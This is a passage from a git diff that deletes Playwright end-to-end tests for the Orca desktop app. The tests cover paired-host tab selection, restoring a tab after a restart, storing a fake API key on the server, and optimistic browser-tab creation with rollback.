['browser-tab-local', 'local', seeded.sharedWorktreeId], - ['simulator-local', 'local', seeded.sharedWorktreeId], - ['simulator-remote', remoteHostId, seeded.sharedWorktreeId], - [seeded.remoteTabId, remoteHostId, seeded.sharedWorktreeId] - ], - workspaceOwners: [ - ['browser-local', seeded.sharedWorktreeId], - [seeded.remoteWorkspaceId, seeded.sharedWorktreeId] - ] - }) - // Require the same-id collision at click time; catalog refresh can reap one row and re-host the survivor. - const expectSameIdCollisionIntact = async (step: string): Promise => { - expect( - await page.evaluate( - (worktreeId) => - window - .__store!.getState() - .allWorktrees() - .filter((worktree) => worktree.id === worktreeId) - .map((worktree) => worktree.hostId) - .sort(), - seeded.sharedWorktreeId - ), - `same-id host rows before ${step}` - ).toEqual(['local', remoteHostId].sort()) - } - await page.evaluate(() => window.__store!.getState().openModal('worktree-palette')) - let palette = page.getByRole('dialog', { name: 'Jump to...' }) - let input = palette.getByPlaceholder( - 'Search chats, terminals, workspaces, tasks, settings, and actions...' - ) - await expectSameIdCollisionIntact('remote browser page palette open') - const remoteBrowserAfterOpen = await page.evaluate( - ({ tabId, worktreeId }) => { - const state = window.__store!.getState() - const tab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.id === tabId - ) - return { - browserCount: state.browserTabsByWorktree[worktreeId]?.length ?? 0, - owner: tab?.executionHostId ?? null - } - }, - { - tabId: seeded.remoteTabId, - worktreeId: seeded.sharedWorktreeId - } - ) - const remoteBrowserIdentity = encodePaletteIdentity([ - 'browser-page', - remoteHostId, - seeded.sharedWorktreeId, - seeded.remoteWorkspaceId, - seeded.remotePageId - ]) - const localBrowserIdentity = encodePaletteIdentity([ - 'browser-page', - 'local', - seeded.sharedWorktreeId, - 'browser-local', - 'page-local' - ]) - const remoteSimulatorIdentity = encodePaletteIdentity([ - 'simulator-tab', - remoteHostId, - seeded.sharedWorktreeId, - 'simulator-remote' - ]) - const localSimulatorIdentity = encodePaletteIdentity([ - 'simulator-tab', - 'local', - seeded.sharedWorktreeId, - 'simulator-local' - ]) - expect(remoteBrowserAfterOpen.browserCount).toBe(2) - expect(remoteBrowserAfterOpen.owner).toBe(remoteHostId) - await input.fill('New Tab') - await expect(palette.locator(`[cmdk-item][data-value="${remoteBrowserIdentity}"]`)).toHaveCount( - 1 - ) - await expect(palette.getByText('Local browser proof', { exact: true })).toHaveCount(0) - await testInfo.attach('cmd-j-host-qualified-browser.png', { - body: await page.screenshot(), - contentType: 'image/png' - }) - await expectSameIdCollisionIntact('remote browser page click') - await palette.locator(`[cmdk-item][data-value="${remoteBrowserIdentity}"]`).click() - await expect - .poll(() => - page.evaluate((worktreeId) => { - const state = window.__store!.getState() - const activeGroupId = state.activeGroupIdByWorktree[worktreeId] - return [ - state.activeWorkspaceExecutionHostId, - state.activeBrowserTabId, - state.activeTabType, - activeGroupId, - (state.groupsByWorktree[worktreeId] ?? []).find((group) => group.id === activeGroupId) - ?.activeTabId - ] - }, seeded.sharedWorktreeId) - ) - // Wait on the group’s activeTabId because strip data-active can lead global activeBrowserTabId. - .toEqual([ - remoteHostId, - seeded.remoteWorkspaceId, - 'browser', - seeded.remoteGroupId, - seeded.remoteTabId - ]) - await expect(palette).not.toBeVisible() - await expect( - page.locator(`[data-tab-id="${seeded.remoteWorkspaceId}"][data-active="true"]`).first() - ).toBeVisible() - await testInfo.attach('cmd-j-host-qualified-browser-selected.png', { - body: await page.screenshot(), - contentType: 'image/png' - }) - - await page.evaluate(() => window.__store!.getState().openModal('worktree-palette')) - palette = page.getByRole('dialog', { name: 'Jump to...' }) - input = palette.getByPlaceholder( - 'Search chats, terminals, workspaces, tasks, settings, and actions...' - ) - await input.fill('local.example.test') - await expect(palette.locator(`[cmdk-item][data-value="${localBrowserIdentity}"]`)).toHaveCount( - 1 - ) - await expectSameIdCollisionIntact('local browser page click') - await palette.locator(`[cmdk-item][data-value="${localBrowserIdentity}"]`).click() - await expect - .poll(() => - page.evaluate((worktreeId) => { - const state = window.__store!.getState() - const activeGroupId = state.activeGroupIdByWorktree[worktreeId] - return [ - state.activeWorkspaceExecutionHostId, - state.activeBrowserTabId, - state.activeTabType, - activeGroupId, - (state.groupsByWorktree[worktreeId] ?? []).find((group) => group.id === activeGroupId) - ?.activeTabId - ] - }, seeded.sharedWorktreeId) - ) - .toEqual(['local', 'browser-local', 'browser', 'group-local', 'browser-tab-local']) - await expect( - page.locator('[data-tab-id="browser-local"][data-active="true"]').first() - ).toBeVisible() - - await page.evaluate(() => window.__store!.getState().openModal('worktree-palette')) - palette = page.getByRole('dialog', { name: 'Jump to...' }) - input = palette.getByPlaceholder( - 'Search chats, terminals, workspaces, tasks, settings, and actions...' - ) - await input.fill('Remote emulator proof') - await expect(palette.getByText('Local emulator proof', { exact: true })).toHaveCount(0) - await expect(palette.getByText('Remote emulator proof', { exact: true })).toHaveCount(1) - await testInfo.attach('cmd-j-host-qualified-simulator.png', { - body: await page.screenshot(), - contentType: 'image/png' - }) - await expectSameIdCollisionIntact('remote simulator click') - await palette.locator(`[cmdk-item][data-value="${remoteSimulatorIdentity}"]`).click() - await expect - .poll(() => - page.evaluate((worktreeId) => { - const state = window.__store!.getState() - const activeGroupId = state.activeGroupIdByWorktree[worktreeId] - return [ - state.activeWorkspaceExecutionHostId, - activeGroupId, - (state.groupsByWorktree[worktreeId] ?? []).find((group) => group.id === activeGroupId) - ?.activeTabId - ] - }, seeded.sharedWorktreeId) - ) - .toEqual([remoteHostId, seeded.remoteGroupId, 'simulator-remote']) - await expect( - page.locator('[data-tab-id="simulator-remote"][data-active="true"]').first() - ).toBeVisible() - await testInfo.attach('cmd-j-host-qualified-simulator-selected.png', { - body: await page.screenshot(), - contentType: 'image/png' - }) - - await page.evaluate(() => window.__store!.getState().openModal('worktree-palette')) - palette = page.getByRole('dialog', { name: 'Jump to...' }) - input = palette.getByPlaceholder( - 'Search chats, terminals, workspaces, tasks, settings, and actions...' - ) - await input.fill('Local emulator proof') - const localSimulatorRow = palette.locator(`[cmdk-item][data-value="${localSimulatorIdentity}"]`) - await expect(localSimulatorRow).toHaveCount(1) - await expectSameIdCollisionIntact('local simulator click') - await localSimulatorRow.click() - await expect - .poll(() => - page.evaluate((worktreeId) => { - const state = window.__store!.getState() - const activeGroupId = state.activeGroupIdByWorktree[worktreeId] - return [ - state.activeWorkspaceExecutionHostId, - activeGroupId, - (state.groupsByWorktree[worktreeId] ?? []).find((group) => group.id === activeGroupId) - ?.activeTabId - ] - }, seeded.sharedWorktreeId) - ) - .toEqual(['local', 'group-local', 'simulator-local']) - await expect( - page.locator('[data-tab-id="simulator-local"][data-active="true"]').first() - ).toBeVisible() - } finally { - await client?.dispose() - } -}) diff --git a/tests/e2e/paired-desktop-tab-pick-follows-desktop.spec.ts b/tests/e2e/paired-desktop-tab-pick-follows-desktop.spec.ts deleted file mode 100644 index 9afa8b304e6..00000000000 --- a/tests/e2e/paired-desktop-tab-pick-follows-desktop.spec.ts +++ /dev/null @@ -1,153 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' - -/** The tab the server remembers for this device, as its per-device projection reports it. */ -function serverPickedTab(page: Page, environmentId: string, worktreeId: string) { - return page.evaluate( - async ({ environmentId, worktreeId }) => { - const response: unknown = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'session.tabs.list', - params: { worktree: `id:${worktreeId}` } - }) - if ( - typeof response !== 'object' || - response === null || - !('result' in response) || - typeof response.result !== 'object' || - response.result === null || - !('tabGroups' in response.result) || - !Array.isArray(response.result.tabGroups) - ) { - return null - } - const first: unknown = response.result.tabGroups[0] - return typeof first === 'object' && - first !== null && - 'activeTabId' in first && - typeof first.activeTabId === 'string' - ? first.activeTabId - : null - }, - { environmentId, worktreeId } - ) -} - -function desktopActiveTab(page: Page, worktreeId: string) { - return page.evaluate((id) => { - const state = window.__store!.getState() - return ( - (state.groupsByWorktree[id] ?? []).find( - (group) => group.id === state.activeGroupIdByWorktree[id] - )?.activeTabId ?? null - ) - }, worktreeId) -} - -// A server workspace opened without the desktop's own tab groups (first open, or a saved session -// that lost them) lands on the tab the server remembers for this device, so that must be the one -// the desktop last showed. -test('a desktop restart brings a stale server pick back to the tab the desktop shows', async ({ - testRepoPath -}, testInfo) => { - // Two desktop launches against a paired host, with a restart between them. - test.setTimeout(300_000) - const host = await launchHeadlessPairedRuntimeHost() - let client: Awaited> | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const first = await host.client.call<{ terminal: { worktreeId: string } }>('terminal.create', { - worktree: `path:${testRepoPath}`, - title: 'one' - }) - await host.client.call('terminal.create', { worktree: `path:${testRepoPath}`, title: 'two' }) - const worktreeId = first.result.terminal.worktreeId - client = await launchPairedElectronClient(host.offer, testInfo, 'tab-pick') - const { page, environmentId } = client - await expect - .poll( - () => - page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((w) => w.id === id) ?? false, - worktreeId - ), - { timeout: 60_000 } - ) - .toBe(true) - await page.evaluate((id) => { - const state = window.__store!.getState() - state.setActiveView('terminal') - state.setActiveWorktree(id) - }, worktreeId) - await expect(page.locator('[data-tab-id]')).toHaveCount(2, { timeout: 60_000 }) - const order = await page.evaluate( - (id) => (window.__store!.getState().groupsByWorktree[id] ?? [])[0]?.tabOrder ?? [], - worktreeId - ) - await page.locator(`[data-tab-id="${order[1]}"]`).first().click() - await page.locator(`[data-tab-id="${order[0]}"]`).first().click() - await expect.poll(() => desktopActiveTab(page, worktreeId)).toBe(order[0]) - const hostTabId = (localTabId: string): string => localTabId.replace(/^web-terminal-/, '') - await expect - .poll(() => serverPickedTab(page, environmentId, worktreeId), { timeout: 30_000 }) - .toBe(hostTabId(order[0])) - - // Leave a stale pick for this device, as an older client or a background path could. - await page.evaluate( - async ({ environmentId, worktreeId, tabId }) => - window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'session.tabs.activate', - params: { - worktree: `id:${worktreeId}`, - tabId, - notifyClients: false, - navigation: 'caller' - } - }), - { environmentId, worktreeId, tabId: hostTabId(order[1]) } - ) - - // Restart the desktop: it reopens on its own saved tab and brings the server's pick back to it. - const userDataDir = client.userDataDir - await client.quitPreservingProfile() - client = await launchPairedElectronClient(host.offer, testInfo, 'tab-pick', { - reuseUserDataDir: userDataDir - }) - const relaunched = client.page - await expect - .poll( - () => - relaunched.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((w) => w.id === id) ?? false, - worktreeId - ), - { timeout: 60_000 } - ) - .toBe(true) - await relaunched.evaluate((id) => { - const state = window.__store!.getState() - state.setActiveView('terminal') - state.setActiveWorktree(id) - }, worktreeId) - await expect.poll(() => desktopActiveTab(relaunched, worktreeId)).toBe(order[0]) - await expect - .poll(() => serverPickedTab(relaunched, client!.environmentId, worktreeId), { - timeout: 30_000 - }) - .toBe(hostTabId(order[0])) - } finally { - await client?.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/paired-host-usage-credentials.spec.ts b/tests/e2e/paired-host-usage-credentials.spec.ts deleted file mode 100644 index 807ce6a5113..00000000000 --- a/tests/e2e/paired-host-usage-credentials.spec.ts +++ /dev/null @@ -1,220 +0,0 @@ -// STA-11039: save a fake MiniMax key on the scoped server, then require its own usage poller’s error meter. -// Run electron-headless with ORCA_E2E_USAGE_CREDENTIALS=1 ORCA_BACKGROUND_LAUNCH=1; add ORCA_E2E_ORCAD_SERVE=1 after pnpm build:orcad for Node hosting. -import { existsSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { resolveBundledOrcadRuntime } from '../../src/main/orcad/runtime-launch/orcad-bundled-runtime' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { cliServeProfile, spawnUntilReady } from './helpers/orca-serve-cli-host' -import { - launchPairedElectronClient, - type PairedElectronClient, - type RuntimeDesktopPairingOffer -} from './helpers/paired-electron-client' - -const RUN = process.env.ORCA_E2E_USAGE_CREDENTIALS === '1' -const RUN_ORCAD = RUN && process.env.ORCA_E2E_ORCAD_SERVE === '1' -const HOST_NAME = 'Build box' -const FAKE_KEY = 'sk-e2e-fake-minimax-key-not-real' -const KEY_FILE = path.join('.orca', 'minimax-api-key.enc') - -test.skip( - !RUN, - 'Set ORCA_E2E_USAGE_CREDENTIALS=1 to run; the server polls MiniMax with a fake key.' -) - -function homeOf(userDataDir: string): string { - return path.join(userDataDir, 'home') -} - -async function findWorktreeId(page: Page, repoPath: string): Promise { - await expect - .poll( - () => - page.evaluate( - (expected) => - window.__store - ?.getState() - .allWorktrees() - .some((entry) => entry.path === expected) ?? false, - repoPath - ), - { timeout: 60_000 } - ) - .toBe(true) - return page.evaluate( - (expected) => - window.__store - ?.getState() - .allWorktrees() - .find((entry) => entry.path === expected)?.id ?? '', - repoPath - ) -} - -async function proveKeySavedOnServer(options: { - client: PairedElectronClient - serverUserDataDir: string - repoPath: string - label: string - testInfo: TestInfo -}): Promise { - const { client, serverUserDataDir, repoPath, label, testInfo } = options - const { page } = client - const shot = async (name: string, target: Page | ReturnType): Promise => { - const file = testInfo.outputPath(`${label}-${name}.png`) - await target.screenshot({ path: file }) - await testInfo.attach(`${label}-${name}`, { path: file, contentType: 'image/png' }) - } - - await page.evaluate(() => { - const state = window.__store!.getState() - state.openSettingsPage() - state.openSettingsTarget({ pane: 'accounts', repoId: null }) - }) - await page.getByRole('combobox', { name: 'Host' }).click() - await page.getByRole('option', { name: HOST_NAME }).click() - const section = page.locator('#accounts-minimax') - await section.scrollIntoViewIfNeeded() - await expect(section.getByText('Credentials not set')).toBeVisible({ timeout: 30_000 }) - const apiKeyInput = section.locator('#minimax-api-key') - await apiKeyInput.fill(FAKE_KEY) - await apiKeyInput.locator('xpath=..').getByRole('button', { name: 'Save' }).click() - await expect(section.getByText(`Stored on ${HOST_NAME}`)).toBeVisible({ timeout: 30_000 }) - await shot('1-settings-host-key-saved', section) - await page.getByRole('combobox', { name: 'Host' }).scrollIntoViewIfNeeded() - await shot('1b-settings-host-picker', page) - - const serverKey = path.join(homeOf(serverUserDataDir), KEY_FILE) - const clientKey = path.join(homeOf(client.userDataDir), KEY_FILE) - const listing = (home: string): string[] => - existsSync(path.join(home, '.orca')) ? readdirSync(path.join(home, '.orca')).sort() : [] - const report = [ - `server key file exists: ${existsSync(serverKey)}`, - `client key file exists: ${existsSync(clientKey)}`, - `server ~/.orca: ${listing(homeOf(serverUserDataDir)).join(', ')}`, - `client ~/.orca: ${listing(homeOf(client.userDataDir)).join(', ')}` - ].join('\n') - writeFileSync(testInfo.outputPath(`${label}-2-key-files.txt`), `${report}\n`) - await testInfo.attach(`${label}-2-key-files`, { body: report, contentType: 'text/plain' }) - expect(existsSync(serverKey), report).toBe(true) - expect(existsSync(clientKey), report).toBe(false) - - // The server's workspace takes focus, so the status bar reads the server's usage. - const worktreeId = await findWorktreeId(page, repoPath) - await page.evaluate( - ({ environmentId, id }) => { - const state = window.__store!.getState() - state.closeSettingsPage() - state.setActiveWorktree(id, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, id: worktreeId } - ) - const meter = page.locator('[data-usage-chip="minimax"]') - await expect(meter).toBeVisible({ timeout: 90_000 }) - // The fake key's fetch settles into MiniMax's error; until then the chip shows a pending pulse. - await expect.poll(() => meter.innerText(), { timeout: 90_000 }).not.toContain('···') - await meter.hover() - await page.waitForTimeout(1_000) - await shot('3-status-bar-server-minimax', page) - const viewport = await page.evaluate(() => ({ - width: window.innerWidth, - height: window.innerHeight - })) - { - const file = testInfo.outputPath(`${label}-3b-status-bar-strip.png`) - await page.screenshot({ - path: file, - clip: { x: 0, y: viewport.height - 60, width: Math.min(700, viewport.width), height: 60 } - }) - await testInfo.attach(`${label}-3b-status-bar-strip`, { path: file, contentType: 'image/png' }) - } - await testInfo.attach(`${label}-3-meter-text`, { - body: await meter.innerText(), - contentType: 'text/plain' - }) -} - -test('a paired desktop saves a MiniMax key on its Electron serve host', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, HOST_NAME) - await proveKeySavedOnServer({ - client, - serverUserDataDir: host.userDataDir, - repoPath: testRepoPath, - label: 'electron-serve', - testInfo - }) - } finally { - await client?.dispose() - await host.dispose() - } -}) - -test('a paired desktop saves a MiniMax key on its headless orcad host', async ({ - testRepoPath -}, testInfo) => { - test.skip(!RUN_ORCAD, 'Set ORCA_E2E_ORCAD_SERVE=1 after pnpm build:orcad.') - test.setTimeout(300_000) - const slotDir = path.resolve('out/orcad') - const program = resolveBundledOrcadRuntime(slotDir) - if (!program) { - throw new Error('pnpm build:orcad must produce a packaged slot in out/orcad') - } - // Short root: macOS caps a unix socket path at 104 bytes, and the daemon's lives in userData. - const scratch = mkdtempSync( - path.join(process.platform === 'win32' ? os.tmpdir() : '/tmp', 'orca-uc-') - ) - const profile = cliServeProfile(scratch) - const serve = await spawnUntilReady<{ pairing?: { url?: string } }>({ - label: 'orcad serve', - program, - args: [ - path.join(slotDir, 'orcad.js'), - '--bind', - '127.0.0.1', - '--port', - '0', - '--pairing-address', - '127.0.0.1', - '--json' - ], - env: { ...profile.env, ORCA_USER_DATA: profile.userDataDir }, - timeoutMs: 120_000, - parseReady: (stdout) => { - const newline = stdout.indexOf('\n') - return newline === -1 ? null : JSON.parse(stdout.slice(0, newline)) - } - }) - let client: PairedElectronClient | null = null - try { - const pairingUrl = serve.ready.pairing?.url - expect(pairingUrl, serve.stderr()).toEqual(expect.any(String)) - await new RuntimeClient(profile.userDataDir, 15_000).call('repo.add', { - path: testRepoPath, - kind: 'git' - }) - const offer: RuntimeDesktopPairingOffer = { pairingUrl: pairingUrl! } - client = await launchPairedElectronClient(offer, testInfo, HOST_NAME) - await proveKeySavedOnServer({ - client, - serverUserDataDir: profile.userDataDir, - repoPath: testRepoPath, - label: 'orcad', - testInfo - }) - } finally { - await client?.dispose() - await serve.stop() - rmSync(scratch, { recursive: true, force: true, maxRetries: 50, retryDelay: 100 }) - } -}) diff --git a/tests/e2e/paired-instant-browser-tab.spec.ts b/tests/e2e/paired-instant-browser-tab.spec.ts deleted file mode 100644 index ffa1f0289a2..00000000000 --- a/tests/e2e/paired-instant-browser-tab.spec.ts +++ /dev/null @@ -1,728 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { readHostBrowserPageIds } from './helpers/host-session-tabs' -import { - readPanes, - requireGroup, - setUpPairedFixture, - waitForGroupTabCount -} from './helpers/paired-browser-placement-fixture' - -type FaultWindow = Window & { - __webRuntimeBrowserCreationFault?: { - arm: () => void - armPreparation: () => void - release: () => boolean - releasePreparation: () => boolean - reset: () => void - snapshot: () => { armed: boolean; createdPageId: string | null; preparationReached: boolean } - } -} - -/** Every distinct browser-tab-id list the store passed through, in order. */ -async function recordBrowserTabTransitions( - fixture: Awaited> -): Promise { - await fixture.client.page.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - throw new Error('Paired client store unavailable') - } - const transitions: string[] = [] - const record = (): void => { - const key = (store.getState().unifiedTabsByWorktree[worktreeId] ?? []) - .filter((tab) => tab.contentType === 'browser') - .map((tab) => tab.id) - .join(',') - if (transitions.at(-1) !== key) { - transitions.push(key) - } - } - record() - ;(window as unknown as { __browserTabTransitions: string[] }).__browserTabTransitions = - transitions - store.subscribe(record) - }, fixture.worktreeId) -} - -/** Worktree-scoped browser census, for a worktree whose group comes and goes with the tab. */ -async function readEmptyWorktreeState( - page: Awaited>['client']['page'], - worktreeId: string -): Promise<{ activeWorktreeId: string | null; browserTabs: number; browserWorkspaces: number }> { - return page.evaluate((id) => { - const state = window.__store?.getState() - return { - activeWorktreeId: state?.activeWorktreeId ?? null, - browserTabs: (state?.unifiedTabsByWorktree[id] ?? []).filter( - (tab) => tab.contentType === 'browser' - ).length, - browserWorkspaces: (state?.browserTabsByWorktree[id] ?? []).length - } - }, worktreeId) -} - -async function readBrowserTabTransitions( - fixture: Awaited> -): Promise { - return fixture.client.page.evaluate( - () => (window as unknown as { __browserTabTransitions: string[] }).__browserTabTransitions ?? [] - ) -} - -/** What the address bar in the visible browser pane holds right now. */ -async function readAddressBarState( - page: Awaited>['client']['page'] -): Promise<{ bars: number; focused: boolean; value: string | null }> { - return page.evaluate(() => { - const bars = document.querySelectorAll('[data-orca-browser-address-bar]') - const input = bars[0] as HTMLInputElement | undefined - return { - bars: bars.length, - focused: input !== undefined && document.activeElement === input, - value: input?.value ?? null - } - }) -} - -async function readActiveBrowserPlacementKind( - page: Awaited>['client']['page'], - worktreeId: string -): Promise { - return page.evaluate((id) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[id] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return handle?.staged === true ? 'staged' : (handle?.placement?.kind ?? 'server') - } - } - return null - }, worktreeId) -} - -// Adoption replaces the pane after a host roundtrip; preserve any address the user already typed. -test('keeps an address typed into the staged tab when the paired create is adopted', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - - await client.page.evaluate(() => { - const fault = (window as FaultWindow).__webRuntimeBrowserCreationFault - if (!fault) { - throw new Error('Browser creation E2E fault seam unavailable') - } - fault.arm() - }) - await client.page.evaluate( - ({ groupId, url }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Paired client store unavailable') - } - state.setBrowserDefaultUrl(url) - const create = state.openNewBrowserTabInActiveWorkspace(groupId).catch(() => undefined) - ;(window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate = create - }, - { groupId: rootGroupId, url: fixture.url } - ) - - await client.page.locator('[data-orca-browser-address-bar]').first().waitFor() - await expect - .poll(() => readActiveBrowserPlacementKind(client.page, worktreeId), { - timeout: 60_000, - message: 'paired client never staged the optimistic browser tab' - }) - .toBe('staged') - await expect - .poll( - () => - client.page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ), - { timeout: 60_000, message: 'held browser create never reached the fault seam' } - ) - .toMatchObject({ armed: true, createdPageId: expect.any(String) }) - - // The user types their address while the create is still held at the seam. - const typed = 'example.internal/typed-before-adoption' - const addressBar = client.page.locator('[data-orca-browser-address-bar]').first() - await addressBar.click() - await client.page.keyboard.type(typed) - expect(await readAddressBarState(client.page)).toMatchObject({ focused: true, value: typed }) - - // Reset permits successful adoption; release would arm reconciliation failure and rollback. - await client.page.evaluate(() => - (window as FaultWindow).__webRuntimeBrowserCreationFault?.reset() - ) - await client.page.evaluate( - () => (window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate - ) - await expect - .poll(() => readActiveBrowserPlacementKind(client.page, worktreeId), { - timeout: 90_000, - message: 'the held create never adopted its staged tab' - }) - .toBe('client') - - // Wait through the adopted pane’s mount, which can overwrite the address a frame after handle replacement. - await client.page.evaluate(() => new Promise((resolve) => setTimeout(resolve, 2_000))) - expect(await readAddressBarState(client.page)).toEqual({ bars: 1, focused: true, value: typed }) - } finally { - await fixture.dispose() - } -}) - -test('keeps three rapid paired browser creates as three ordered tabs', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - const before = requireGroup(await readPanes(client.page, worktreeId), rootGroupId) - - // Three clicks with no await between them, the way an impatient user hits "+". - const stagedImmediately = await client.page.evaluate( - async ({ groupId, url, worktreeId }) => { - const store = window.__store - const state = store?.getState() - if (!store || !state) { - throw new Error('Paired client store unavailable') - } - state.setBrowserDefaultUrl(url) - const creates = [1, 2, 3].map(() => - state.openNewBrowserTabInActiveWorkspace(groupId).catch(() => undefined) - ) - const browserTabCount = (): number => - (store.getState().unifiedTabsByWorktree[worktreeId] ?? []).filter( - (tab) => tab.contentType === 'browser' - ).length - const startedAt = performance.now() - while (performance.now() - startedAt < 30_000 && browserTabCount() < 3) { - await new Promise((resolve) => setTimeout(resolve, 2)) - } - const staged = browserTabCount() - await Promise.all(creates) - return staged - }, - { groupId: rootGroupId, url: fixture.url, worktreeId } - ) - expect(stagedImmediately).toBe(3) - - const after = await waitForGroupTabCount( - client.page, - worktreeId, - rootGroupId, - before.tabOrder.length + 3, - 'paired client did not settle on exactly three browser tabs' - ) - const group = requireGroup(after, rootGroupId) - expect(group.tabOrder.slice(0, before.tabOrder.length)).toEqual(before.tabOrder) - const browserTabIds = group.tabOrder.slice(before.tabOrder.length) - expect(new Set(browserTabIds).size).toBe(3) - expect( - browserTabIds.every( - (tabId) => after.tabs.find((tab) => tab.id === tabId)?.contentType === 'browser' - ) - ).toBe(true) - - // Why: cross-rekeying would leave two tabs pointing at one workspace and one orphan. - expect( - new Set( - browserTabIds.map((tabId) => after.tabs.find((tab) => tab.id === tabId)?.entityId ?? '') - ).size - ).toBe(3) - } finally { - await fixture.dispose() - } -}) - -// A failed staged create must remove the optimistic tab rather than leave dead feedback. -test('takes back the optimistic tab when the paired create fails to reconcile', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - const before = requireGroup(await readPanes(client.page, worktreeId), rootGroupId) - - await client.page.evaluate(() => { - const fault = (window as FaultWindow).__webRuntimeBrowserCreationFault - if (!fault) { - throw new Error('Browser creation E2E fault seam unavailable') - } - fault.arm() - }) - await client.page.evaluate( - ({ groupId, url }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Paired client store unavailable') - } - state.setBrowserDefaultUrl(url) - const create = state.openNewBrowserTabInActiveWorkspace(groupId).catch(() => undefined) - ;(window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate = create - }, - { groupId: rootGroupId, url: fixture.url } - ) - - // The staged tab is visible while the create is held at the fault seam. - const held = await waitForGroupTabCount( - client.page, - worktreeId, - rootGroupId, - before.tabOrder.length + 1, - 'paired client never staged the optimistic browser tab' - ) - const stagedTabId = requireGroup(held, rootGroupId).tabOrder.at(-1) - expect(held.tabs.find((tab) => tab.id === stagedTabId)?.contentType).toBe('browser') - - await expect - .poll( - () => - client.page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ), - { timeout: 60_000, message: 'held browser create never reached the fault seam' } - ) - .toMatchObject({ armed: true, createdPageId: expect.any(String) }) - - expect( - await client.page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.release() ?? false - ) - ).toBe(true) - await client.page.evaluate( - () => (window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate - ) - - const settled = await waitForGroupTabCount( - client.page, - worktreeId, - rootGroupId, - before.tabOrder.length, - 'failed browser create left its optimistic tab behind' - ) - expect(requireGroup(settled, rootGroupId).tabOrder).toEqual(before.tabOrder) - expect(requireGroup(settled, rootGroupId).activeTabId).toBe(before.activeTabId) - expect(settled.tabs.filter((tab) => tab.contentType === 'browser')).toEqual([]) - // Why: rollback must clear the backing rows too, not just the strip entry. - expect( - await client.page.evaluate( - (id) => (window.__store?.getState().browserTabsByWorktree[id] ?? []).length, - worktreeId - ) - ).toBe(0) - await client.page.evaluate(() => - (window as FaultWindow).__webRuntimeBrowserCreationFault?.reset() - ) - } finally { - await fixture.dispose() - } -}) - -// Closing an in-flight staged tab cannot target an unminted host page; successful create must later retire it without resurrecting the tab. -test('cancels a held paired browser create when its staged tab is closed from the strip', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - const before = requireGroup(await readPanes(client.page, worktreeId), rootGroupId) - await recordBrowserTabTransitions(fixture) - - await client.page.evaluate(() => { - const fault = (window as FaultWindow).__webRuntimeBrowserCreationFault - if (!fault) { - throw new Error('Browser creation E2E fault seam unavailable') - } - fault.arm() - }) - await client.page.evaluate( - ({ groupId, url }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Paired client store unavailable') - } - state.setBrowserDefaultUrl(url) - const create = state.openNewBrowserTabInActiveWorkspace(groupId).catch(() => undefined) - ;(window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate = create - }, - { groupId: rootGroupId, url: fixture.url } - ) - - const held = await waitForGroupTabCount( - client.page, - worktreeId, - rootGroupId, - before.tabOrder.length + 1, - 'paired client never staged the optimistic browser tab' - ) - const stagedTab = held.tabs.find( - (tab) => tab.id === requireGroup(held, rootGroupId).tabOrder.at(-1) - ) - expect(stagedTab?.contentType).toBe('browser') - // The host really did mint a page, so an unhandled cancel would leave a real orphan. - await expect - .poll( - () => - client.page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ), - { timeout: 60_000, message: 'held browser create never reached the fault seam' } - ) - .toMatchObject({ armed: true, createdPageId: expect.any(String) }) - - // The user's X, on the real tab strip, while the create is still held. - await client.page - .locator( - `[data-tab-group-strip-id="${rootGroupId}"] [data-tab-id="${stagedTab?.entityId}"] button` - ) - .click() - const cancelled = await waitForGroupTabCount( - client.page, - worktreeId, - rootGroupId, - before.tabOrder.length, - 